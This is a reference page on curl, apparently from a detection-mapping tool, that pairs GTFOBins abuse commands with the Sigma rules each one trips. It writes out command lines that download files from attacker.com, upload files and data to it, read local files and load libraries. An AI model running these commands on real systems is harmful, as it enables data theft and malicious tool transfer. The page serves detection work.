Identifier / Programs / Linux and Unix
curl
Transfer data from or to a server. Supports most protocols, including HTTP, HTTPS, FTP, SCP, etc. tldr-pages
GTFOBins download, file-write, library-load, upload 15 Sigma rules name it 5 ATT&CK techniques 7 documented commands
How curl is abused
download T1105 Ingress Tool Transfer
-ofile-write
-olibrary-load
--engineupload
-X--data-binaryEach abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for curl.
7 documented commands
download unprivileged, with sudo, as SUID
curl http://attacker.com/path/to/input-file -o /path/to/output-fileTrips 1 Sigma rule: lowCurl Usage on Linux by Nasreddine Bencherchali (Nextron Systems)
file-read unprivileged, with sudo, as SUID
curl file:///path/to/input-fileTrips 1 Sigma rule: lowCurl Usage on Linux by Nasreddine Bencherchali (Nextron Systems)
file-write unprivileged, with sudo, as SUID
echo DATA >/path/to/temp-file
curl file:///path/to/temp-file -o /path/to/output-fileTrips 1 Sigma rule: lowCurl Usage on Linux by Nasreddine Bencherchali (Nextron Systems)
library-load unprivileged, with sudo, as SUID
curl --engine /path/to/lib.so xTrips 1 Sigma rule: lowCurl Usage on Linux by Nasreddine Bencherchali (Nextron Systems)
upload unprivileged, with sudo, as SUID
curl -X POST --data-binary @/path/to/input-file http://attacker.comTrips 2 Sigma rules: mediumSuspicious Curl File Upload - Linux by Nasreddine Bencherchali (Nextron Systems), Cedric MAURUGEON (Update); lowCurl Usage on Linux by Nasreddine Bencherchali (Nextron Systems)
upload unprivileged, with sudo, as SUID
curl -X POST --data-binary DATA http://attacker.comTrips 2 Sigma rules: mediumSuspicious Curl File Upload - Linux by Nasreddine Bencherchali (Nextron Systems), Cedric MAURUGEON (Update); lowCurl Usage on Linux by Nasreddine Bencherchali (Nextron Systems)
upload unprivileged, with sudo, as SUID
Data will be \r\n terminated.
curl gopher://attacker.com:12345/_DATATrips 1 Sigma rule: lowCurl Usage on Linux by Nasreddine Bencherchali (Nextron Systems)
All 7 commands the identifier reads trip a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for curl. The identifier reads the line of each that runs curl.
What detects it
Everyday use
Make an HTTP GET request and dump the contents in stdout
curl https://example.comIdentifyTrips 1 Sigma rule: lowCurl Usage on Linux by Nasreddine Bencherchali (Nextron Systems)
Make an HTTP GET request, follow any 3xx redirects, and dump the reply headers and contents to stdout
curl --location --dump-header - https://example.comIdentifyTrips 1 Sigma rule: lowCurl Usage on Linux by Nasreddine Bencherchali (Nextron Systems)
Download a file, saving the output under the filename indicated by the URL
curl --remote-name https://example.com/filename.zipIdentifyTrips 1 Sigma rule: lowCurl Usage on Linux by Nasreddine Bencherchali (Nextron Systems)
Of the 3 examples the identifier reads, 3 match GTFOBins abuse or trip a Sigma process-creation rule.